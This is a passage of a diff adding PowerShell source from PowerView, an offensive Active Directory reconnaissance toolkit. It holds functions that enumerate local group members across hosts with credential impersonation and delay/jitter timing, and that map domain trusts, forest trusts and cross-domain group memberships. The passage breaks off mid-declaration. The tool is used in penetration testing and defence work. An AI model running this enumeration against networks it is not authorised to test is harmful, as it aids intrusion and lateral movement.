[Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $GroupName, $Method, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $NetLocalGroupMemberArguments = @{ + 'ComputerName' = $TargetComputer + 'Method' = $Method + 'GroupName' = $GroupName + } + Get-NetLocalGroupMember @NetLocalGroupMemberArguments + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'GroupName' = $GroupName + 'Method' = $Method + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-DomainTrust { +<# +.SYNOPSIS + +Return all domain trusts for the current domain or a specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +domain using a number of methods. By default, the .NET method GetAllTrustRelationships() +is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag +is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter +'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the +Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. + +.PARAMETER Domain + +Specifies the domain to query for trusts, defaults to the current domain. + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. + +.PARAMETER LDAP + +Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrust + +Return domain trusts for the current domain using built in .NET methods. + +.EXAMPLE + +Get-DomainTrust -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain using .NET methods + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrust -LDAP -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred + +Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP +queries, binding to the PRIMARY.testlab.local server for queries, and using the specified +alternate credenitals. + +.EXAMPLE + +Get-DomainTrust -API -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'NET')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $LDAP, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Parameter(ParameterSetName = 'LDAP')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'non_transitive' + [uint32]'0x00000002' = 'uplevel_only' + [uint32]'0x00000004' = 'quarantined_domain' + [uint32]'0x00000008' = 'forest_transitive' + [uint32]'0x00000010' = 'cross_organization' + [uint32]'0x00000020' = 'within_forest' + [uint32]'0x00000040' = 'treat_as_external' + [uint32]'0x00000080' = 'trust_uses_rc4_encryption' + [uint32]'0x00000100' = 'trust_uses_aes_keys' + [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' + [uint32]'0x00000400' = 'pim_trust' + } + + $LdapSearcherArguments = @{} + if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PsCmdlet.ParameterSetName -ne 'API') { + $NetSearcherArguments = @{} + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + if ($PSBoundParameters['Credential']) { + $SourceDomain = (Get-Domain -Credential $Credential).Name + } + else { + $SourceDomain = (Get-Domain).Name + } + } + + $NetSearcherArguments['Domain'] = $SourceDomain + if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential } + } + else { + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + $SourceDomain = $Env:USERDNSDOMAIN + } + } + + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + # if we're searching for domain trusts through LDAP/ADSI + $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + $SourceSID = Get-DomainSID @NetSearcherArguments + + if ($TrustSearcher) { + + $TrustSearcher.Filter = '(objectClass=trustedDomain)' + + if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + else { $Results = $TrustSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') + $DomainTrust + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" + } + } + $TrustSearcher.dispose() + } + } + elseif ($PsCmdlet.ParameterSetName -eq 'API') { + # if we're searching for domain trusts through Win32 API functions + if ($PSBoundParameters['Server']) { + $TargetDC = $Server + } + elseif ($Domain -and $Domain.Trim() -ne '') { + $TargetDC = $Domain + } + else { + # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior + $TargetDC = $Null + } + + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq 0) { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString + $DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # if we're searching for domain trusts through .NET methods + $FoundDomain = Get-Domain @NetSearcherArguments + if ($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET') + $_ + } + } + } + } +} + + +function Get-ForestTrust { +<# +.SYNOPSIS + +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +.PARAMETER Forest + +Specifies the forest to query for trusts, defaults to the current forest. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-ForestTrust + +Return current forest trusts. + +.EXAMPLE + +Get-ForestTrust -Forest "external.local" + +Return trusts for the "external.local" forest. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +.OUTPUTS + +PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForestTrust.NET')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Forest, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + $NetForestArguments = @{} + if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential } + + $FoundForest = Get-Forest @NetForestArguments + + if ($FoundForest) { + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET') + $_ + } + } + } +} + + +function Get-DomainForeignUser { +<# +.SYNOPSIS + +Enumerates users who are in groups outside of the user's domain. +This is a domain's "outgoing" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser + +.DESCRIPTION + +Uses Get-DomainUser to enumerate all users for the current (or target) domain, +then calculates the given user's domain name based on the user's distinguishedName. +This domain name is compared to the queried domain, and the user object is +output if they differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignUser + +Return all users in the current domain who are in groups not in the +current domain. + +.EXAMPLE + +Get-DomainForeignUser -Domain dev.testlab.local + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all users in the dev.testlab.local domain who are in groups not in the +dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and +using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignUser + +Custom PSObject with translated user property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignUser')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(memberof=*)' + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name + } + elseif ($Env:USERDNSDOMAIN) { + $TargetDomain = $Env:USERDNSDOMAIN + } + else { + throw "[Get-DomainForeignUser] No domain found to enumerate!" + } + + Get-DomainUser @SearcherArguments | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf('DC=') + if ($Index) { + + $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain -ne $TargetDomain) { + # if the group domain doesn't match the user domain, display it + $GroupName = $Membership.Split(',')[0].split('=')[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership + $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser') + $ForeignUser + } + } + } + } + } +} + + +function Get-DomainForeignGroupMember { +<# +.SYNOPSIS + +Enumerates groups with users outside of the group's domain and returns +each foreign member. This is a domain's "incoming" access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainGroup + +.DESCRIPTION + +Uses Get-DomainGroup to enumerate all groups for the current (or target) domain, +then enumerates the members of each group, and compares the member's domain +name to the parent group's domain name, outputting the member if the domains differ. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainForeignGroupMember + +Return all group members in the current domain where the group and member differ. + +.EXAMPLE + +Get-DomainForeignGroupMember -Domain dev.testlab.local + +Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred + +Return all group members in the dev.testlab.local domain where the member is +not in dev.testlab.local. binding to the secondary.dev.testlab.local for +queries, and using the specified alternate credentials. + +.OUTPUTS + +PowerView.ForeignGroupMember + +Custom PSObject with translated group member property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ForeignGroupMember')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + $SearcherArguments['LDAPFilter'] = '(member=*)' + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name + } + elseif ($Env:USERDNSDOMAIN) { + $TargetDomain = $Env:USERDNSDOMAIN + } + else { + throw "[Get-DomainForeignGroupMember] No domain found to enumerate!" + } + + # standard group names to ignore + $ExcludeGroups = @('Users', 'Domain Users', 'Guests') + $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))" + + Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object { + $GroupName = $_.samAccountName + $GroupDistinguishedName = $_.distinguishedname + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) { + + $MemberDistinguishedName = $_ + $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $MemberName = $_.Split(',')[0].split('=')[1] + + $ForeignGroupMember = New-Object PSObject + $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain + $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName + $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember') + $ForeignGroupMember + } + } + } + } +} + + +function 